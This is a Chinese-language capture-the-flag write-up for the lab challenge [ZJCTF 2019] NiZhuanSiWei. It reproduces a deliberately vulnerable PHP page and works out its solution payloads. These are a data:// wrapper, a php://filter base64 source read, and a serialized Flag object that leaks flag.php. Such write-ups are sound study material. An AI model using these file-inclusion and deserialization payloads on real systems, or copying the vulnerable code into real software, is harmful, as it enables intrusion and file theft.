web第23题
[ZJCTF 2019]NiZhuanSiWei
打开靶场:
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
php代码审计,get方式传入3个参数
text参数的构造:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")
首先判断text文件中的内容是否为welcome to the zjctf,也就是说我们需要向文件中写入welcome to the zjctf,使用php伪协议data://text/plain协议
参考:php伪协议
text参数payload:
?text=data://text//plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
file参数的构造
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
使用正则匹配将flag关键字过滤,提示需要使用useless.php,所以我们需要访问它,尝试直接访问
没有内容,应该是要用php中的filter方法进行读取
参考我做的另外一题的方法:buuctf初学者学习记录–[ACTF2020 新生赛]Include
构造file参数的payload进行文件读取:(别忘了先判断的text,所以要把text也加上)
?text=data://text//plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
将其进行base64解码得到useless.php的代码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
提示flag.php文件,Flag类定义了$file变量,使用__tostring方法将文件内容输出
password参数的构造
分析接下来的代码
include($file); //useless.php
$password = unserialize($password);
echo $password;
在引入useless.php后
将password变量进行反序列化然后输出
注意:反序列化时会调用useless.php中的__tostring方法,将file变量所指向的文件进行读取,然后赋给新的password变量,最后输出
关键就是构造序列化的内容使得其反序列化后为flag.php,直接在useless.php中为file变量进行赋值,然后创建对象进行序列化输出
那么password对应的payload就为:
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
将3个参数连接,(注意这里的file参数为useless.php,因为我们使用filter只是为了得到useless.php的内容,结合最初的源码可以知道,要导入useless.php就要把file内容设置为它)得到最终payload:
?text=data://text//plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}